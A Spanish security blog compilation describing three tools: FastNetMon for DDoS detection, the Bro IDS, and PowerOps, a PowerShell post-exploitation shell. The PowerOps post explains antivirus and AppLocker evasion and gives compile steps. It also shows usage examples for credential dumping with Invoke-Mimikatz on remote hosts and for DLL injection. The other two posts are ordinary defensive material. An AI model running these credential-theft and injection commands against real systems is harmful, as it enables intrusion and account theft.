Detección de ataques DoS/DDoS en redes de alto rendimiento usando varios motores de captura de paquetes.

FastNetMon, es un analizador de carga de DoS/DDoS para redes de alto rendimiento, construido con varios motores de captura de paquetes (NetFlow, IPFIX, sflow, SnabbSwitch, NetMap, PF_RING, PCAP).

Esta herramienta nos permite detectar los dispositivos en nuestras redes que envían o reciben grandes volúmenes de: paquetes, bytes o flujos de datos por segundo. En términos FastNetMon se refiera a un flujo de datos a una o varias conexiones UDP, TCP, ICMP o con: IP única de origen, IP de destino, puerto origen, puerto destino y protocolo.  Con la opción de llamar a un script externo para que: notifique o apagar el servidor o el cliente.

Soporta los motores de captura de paquetes:

  • NetFlow v5, v9.
  • IPFIX.
  • Sflow v4 y v5.
  • Puerto de captura Mirror/SPAN con PF_RING (con modo ZC/ADN necesita licencia), SnabbSwitch, NetMap y PCAP.

Para habilitar sflow, sólo hay que especificar la IP del servidor que ejecuta FastNetMon y especificar el puerto (configurable) por defecto 6343. Para permitir Netflow, sólo hay que especificar IP del servidor que ejecuta FastNetMon y especificar el puerto (configurable) por defecto 2055.

Entre las características de FastNetMon destaca:

  • Soporte completo para el protocolo BGP y especificaciones RFC 5575.
  • Elaborado proceso para distinguir el tráfico entrante del saliente.
  • Permite definir un umbral si una IP supera el envió de: paquetes, bytes o flujo de datos por segundo.  En el que activara un script para notificar o bloquear dicho trafico.
  • Los umbrales pueden ser configurados por cada subred o por grupos de hosts.
  • Anunciar IPs bloqueadas a través de BGP para routers con ExaBGP
  • GoBGP integración para anuncios IPv4 unicast.
  • La integración completa con Graphite y InfluxDB.
  • Integración con Redis.
  • Integración con MongoDB.
  • Realiza una inspección a fondo de los paquetes  del tráfico del atacante.
  • Soporte para NetMap (sólo tarjetas de red de hardware de Intel o cualquier tipo de maquina virtual).
  • Soporte para SnabbSwitch.
  • Con filtro NetFlow v5 flujos o paquetes sflow con scripts LUA (útil para excluir determinados puertos)
  • Soporta decapsulación L2TP, procesamiento untagging y VLAN MPLS en modo de espejo.
  • Funciona en un servidor con capacidad de enrrutamiento.
  • Detecta DoS/DDoS en tan sólo 1 o 2 segundos.
  • Probado hasta 10 Gb con 12 Mpps en Intel i7 3820 con NIC Intel 82599.
  • Soporte completo de plugin.
  • Capta fingerprints de ataque en formato PCAP.
  • Soporte completo para  ataque más populares.

Más información y descarga de FastNetMon:
https://github.com/pavel-odintsov/fastnetmon

Shadow77
#HackNic

PowerOps: haciendo más fácil el pentesting con PowerShell

 “PowerShell Runspace Portable Post Exploitation Tool”aka  PowerOps es una aplicación escrita en C# que no se basa en powershell.exe sino que ejecuta los comandos y funciones de PowerShell en un entorno de espacio de ejecución de PowerShell (.NET). Intenta incluir varios módulos PowerShell ofensivos para hacer el proceso de post explotación más fácil.

Se trata de seguir el principio KISS, siendo lo más simple posible. El objetivo principal es hacer que sea fácil usar PowerShell ofensivamente y ayudar a evitar las soluciones antivirus y otras de mitigación. Esto se hace principalmente de dos formas:

– No basándose en powershell.exe, llamando a PowerShell directamente a través del marco .NET, lo que podría ayudar a pasar por controles de seguridad como GPO, SRP y App Locker.
– Los payloads se ejecutan desde la memoria (cadenas codificadas en base64) y nunca tocan el disco, evadiendo la mayoría de los antivirus.

PowerOps se inspira en Cn33liz/p0wnedShell. PowerOps ofrece básicamente un símbolo del sistema PowerShell interactivo con las herramientas PowerShell que incluye y, además, permite ejecutar cualquier comando válido PowerShell.

Herramientas/funciones que incluye:

Cómo compilarlo

Para compilar PowerOPS es necesario importarlo a Microsoft Visual Studio o, si no se tiene, compilarlo de la siguiente manera:

Como binario x86:


cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x86.exe /platform:x86 "C:\path\to\PowerOPS\PowerOPS\*.cs"

Como binario x64:

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x64.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

PowerOps utiliza el espacio de nombres System.Management.Automation, así que hay que asegurarse de que System.Management.Automation.dll está dentro del source path al compilar fuera de Visual Studio.

Cómo usarlo

Ejecuta el binario y escribe ‘show’ para ver los módulos disponibles:

PS > show

[-] This computer is not part of a Domain! Some functions will not work!

[+] Nishang

 Get-Information    Get-PassHashes             Port-Scan

[+] PowerSploit

 Get-KeyStrokes     Invoke-DllInjection        Invoke-Mimikatz     Invoke-NinjaCopy
 Invoke-Shellcode   Invoke-TokenManipulation   Invoke-WmiCommand   Invoke-ReflectivePEInjection
 PowerView          PowerUp

[+] Empire

 Invoke-PsExec      Invoke-SSHCommand

[+] Others

 Auto-GPPPassword   Get-ProductKey             PowerCat

PS >

PowerUp y PowerView se cargan como módulos, por lo que hay que usar Get-Command -module para mostrar todas las funciones disponibles:

PS > get-command -module powerup

CommandType     Name                                               ModuleName
-----------     ----                                               ----------
Function        Find-DLLHijack                                     PowerUp
Function        Find-PathHijack                                    PowerUp
Function        Get-ApplicationHost                                PowerUp
Function        Get-ModifiableFile                                 PowerUp
Function        Get-RegAlwaysInstallElevated                       PowerUp
Function        Get-RegAutoLogon                                   PowerUp
Function        Get-ServiceDetail                                  PowerUp
Function        Get-ServiceFilePermission                          PowerUp
Function        Get-ServicePermission                              PowerUp
Function        Get-ServiceUnquoted                                PowerUp
Function        Get-UnattendedInstallFile                          PowerUp
Function        Get-VulnAutoRun                                    PowerUp
Function        Get-VulnSchTask                                    PowerUp
Function        Get-Webconfig                                      PowerUp
Function        Install-ServiceBinary                              PowerUp
Function        Invoke-AllChecks                                   PowerUp
Function        Invoke-ServiceAbuse                                PowerUp
Function        Invoke-ServiceDisable                              PowerUp
Function        Invoke-ServiceEnable                               PowerUp
Function        Invoke-ServiceStart                                PowerUp
Function        Invoke-ServiceStop                                 PowerUp
Function        Restore-ServiceBinary                              PowerUp
Function        Test-ServiceDaclPermission                         PowerUp
Function        Write-HijackDll                                    PowerUp
Function        Write-ServiceBinary                                PowerUp
Function        Write-UserAddMSI                                   PowerUp

PS >

PowerOps es básicamente un shell de PowerShell con algunos módulos y funciones pre-cargados. Así que con Get-Help también podemos encontrar la manera de utilizar los módulos.

Por ejemplo si queremos ver cómo utilizar Invoke-Mimikatz:

PS > Get-Help Invoke-Mimikatz -examples

NAME
    Invoke-Mimikatz

SYNOPSIS
    This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to
    reflectively load Mimikatz completely in memory. This allows you to do
    things such as
    dump credentials without ever writing the mimikatz binary to disk.
    The script has a ComputerName parameter which allows it to be executed
    against multiple computers.

    This script should be able to dump credentials from any version of Windows
    through Windows 8.1 that has PowerShell v2 or higher installed.

    Function: Invoke-Mimikatz
    Author: Joe Bialek, Twitter: @JosephBialek
    Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog:
    http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter
    @gentilkiwi
    License:  http://creativecommons.org/licenses/by/3.0/fr/
    Required Dependencies: Mimikatz (included)
    Optional Dependencies: None
    Version: 1.5
    ReflectivePEInjection version: 1.1
    Mimikatz version: 2.0 alpha (2/16/2015)

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Execute mimikatz on the local computer to dump certificates.


    Invoke-Mimikatz -DumpCerts


    -------------------------- EXAMPLE 2 --------------------------

    C:\PS>Execute mimikatz on two remote computers to dump credentials.


    Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")


    -------------------------- EXAMPLE 3 --------------------------

    C:\PS>Execute mimikatz on a remote computer with the custom command
    "privilege::debug exit" which simply requests debug privilege and exits


    Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"


PS >

O simplemente mirar toda la ayuda disponible para Invoke-DllInjection:

PS > Get-Help Invoke-DllInjection -full

NAME
    Invoke-DllInjection

SYNOPSIS
    Injects a Dll into the process ID of your choosing.

    PowerSploit Function: Invoke-DllInjection
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

SYNTAX
    Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>
    [<CommonParameters>]


DESCRIPTION
    Invoke-DllInjection injects a Dll into an arbitrary process.


PARAMETERS
    -ProcessID <Int32>
        Process ID of the process you want to inject a Dll into.

        Required?                    true
        Position?                    1
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false

    -Dll <String>
        Name of the dll to inject. This can be an absolute or relative path.

        Required?                    true
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?  false

    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216).

INPUTS

OUTPUTS

NOTES
        Use the '-Verbose' option to print detailed information.

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Invoke-DllInjection -ProcessID 4274 -Dll evil.dll


    Description
    -----------
    Inject 'evil.dll' into process ID 4274.

RELATED LINKS
    http://www.exploit-monday.com

PS >

Fuente: https://github.com/fdiskyou/PowerOPS

Shadow77
#HackNic

IDS ideal para redes de alta capacidad.

Bro es un analizador de tráfico de red pasivo y de código abierto. Se trata principalmente de un IDS que inspecciona todo el tráfico en profundidad en busca de signos de actividad sospechosa. En términos más generales, sin embargo, es compatible con una amplia gama de tareas de análisis de tráfico, incluso fuera del dominio de seguridad, incluyendo mediciones de rendimiento y ayudar en la resolución de problemas.

El beneficio más inmediato que se obtiene a partir de la implementación de Bro es un amplio conjunto de archivos de registro que almacenan la actividad de una red en términos de alto nivel. Estos registros incluyen no sólo un registro completo de todas las conexiones a nivel físico, sino también las transcripciones de la capa de aplicaciones, tales como: todas las sesiones HTTP con su URL solicitado, encabezados clave, tipos MIME y las respuestas de: servidores DNS; certificados SSL; contenido clave de las sesiones SMTP y mucho más. De forma predeterminada, escribe toda esta información en los archivos de registro separados por tabuladores, bien estructurados, adecuados para el procesamiento posterior con un software externo. Los usuarios pueden también elegir entre un conjunto de formatos de salida alternativos para interaccionar directamente como, por ejemplo, bases de datos externas

Además de los registros, Bro viene con funcionalidad integrada para una serie de tareas de análisis y detección, incluyendo: la extracción de archivos de sesiones HTTP, la detección de malware mediante la interacción con los registros externos, informes de versiones de software vulnerables vistas en la red, la identificación más populares aplicaciones de Internet, detectar ataques SSH de fuerza bruta, validación de cadenas de certificados SSL y mucho más.

Sin embargo, la clave para entender este IDS radica en darse cuenta de que representa una plataforma para el análisis de tráfico que es completamente personalizable y extensible: Bro proporciona a los usuarios un dominio específico, con scripts para la realización de tareas de análisis arbitrarias con un lenguaje de programación Turing completo. Lo que permite utilizar el IDS para tareas especificas escribiendo su propio código. De hecho, todos los análisis predeterminados de Bro, es el resultado de este tipo de scripts.

Bro no se ejecuta en un hardware especififco y por lo tanto ofrece una alternativa de bajo costo para las soluciones propietarias costosas. Va mucho más allá de las capacidades de otras herramientas de motorización de red con hardware especifico, que suelen estar limitadas a un pequeño conjunto de tareas de análisis no modificables. Destaca en particular, que no es un clásico sistema de detección de intrusos basados en firmas. A pesar de que es compatible con dicha funcionalidad estándar, tiene un espectro mucho más amplio de enfoques muy diferentes en la búsqueda de actividades maliciosas incluyendo: la detección semántica, detección de anomalías y el análisis del comportamiento.

Las principales características de Bro son:

Despliegue:

  • Se ejecuta en hardware con sistemas tipo UNIX (incluyendo Linux, FreeBSD y MacOS).
  • Realiza análisis de tráfico totalmente pasivo.
  • Usa un interfaz estándar libpcap para la captura de paquetes.
  • Permite análisis en tiempo real y fuera de línea.
  • Posibilidad de realizar cluster de soporte para despliegues a gran escala.
  • Posee un marco de gestión unificada para el funcionamiento de ambas configuraciones.
  • De código abierto bajo la licencia BSD.

Análisis:

  • Posee un registro exhaustivo de la actividad para el análisis fuera de línea y análisis forense.
  • Análisis por puerto de los protocolos de capa de aplicación.
  • Soporte para muchos protocolos de capa de aplicación (incluyendo DNS, FTP, HTTP, IRC, SMTP, SSH, SSL).
  • El análisis de contenido de los archivos intercambiados a través de protocolos de capa de aplicación, incluyendo MD5 / SHA1 para realizar fingerprinting.
  • Un amplio soporte IPv6.
  • Túnel de detección y análisis (incluyendo Ayiya, Teredo, GTPv1). Bro desencapsula los túneles y luego procede a analizar su contenido..
  • Soporte para trabajar como IDS realizando coincidencia de patrones.

Lenguaje de scripts:

  • Lenguaje Turing completo para análisis de expresión tareas arbitrarias.
  • Modelo de programación basada en eventos.
  • Permite manejar tipos de datos específicos como: las direcciones IP (manejo transparente IPv4 e IPv6), números de puertos y temporizadores.
  • Amplio soporte para realizar una linea de tiempo con el seguimiento y la gestión de estado de la red.

Interfaz de gestión:

  • Por defecto la salida de los registros es en ASCII y bien estructurados.
  • Backends alternativos para Elasticsearch y DataSeries.
  • Integración en tiempo real de los resultados de los análisis.
  • Biblioteca en lenguaje C para el intercambio de eventos con programas externos. Además de Perl, Python y Ruby.
  • Capacidad de desencadenar procesos externos usando lenguaje de script.

Bro se dirige específicamente a redes de alta velocidad y motorización de redes de alto volumen, con enlaces tipo 10GE y de gran capacidad tipo 100GE muy comunes en: universidades, laboratorios de investigación, centros de supercomputación, comunidades científicas abiertas y grandes corporaciones. Mediante el apoyo escalable del balanceo de carga ejecutando “Bro Clusters” en el que un frontend equilibrador de carga, de alta velocidad, distribuye el tráfico a través de un número apropiado de PCś de backend. Un sistema gestor central coordina el proceso de sincronización de estado, a través de los backends y la disponibilidad para los operadores. Con una interfaz de administración central para la configuración y el acceso a los registros agregados, en un marco de gestión integrada llamado BroControl.

Más información y descarga de Bro:
https://www.bro.org/

Shadow77
#HackNic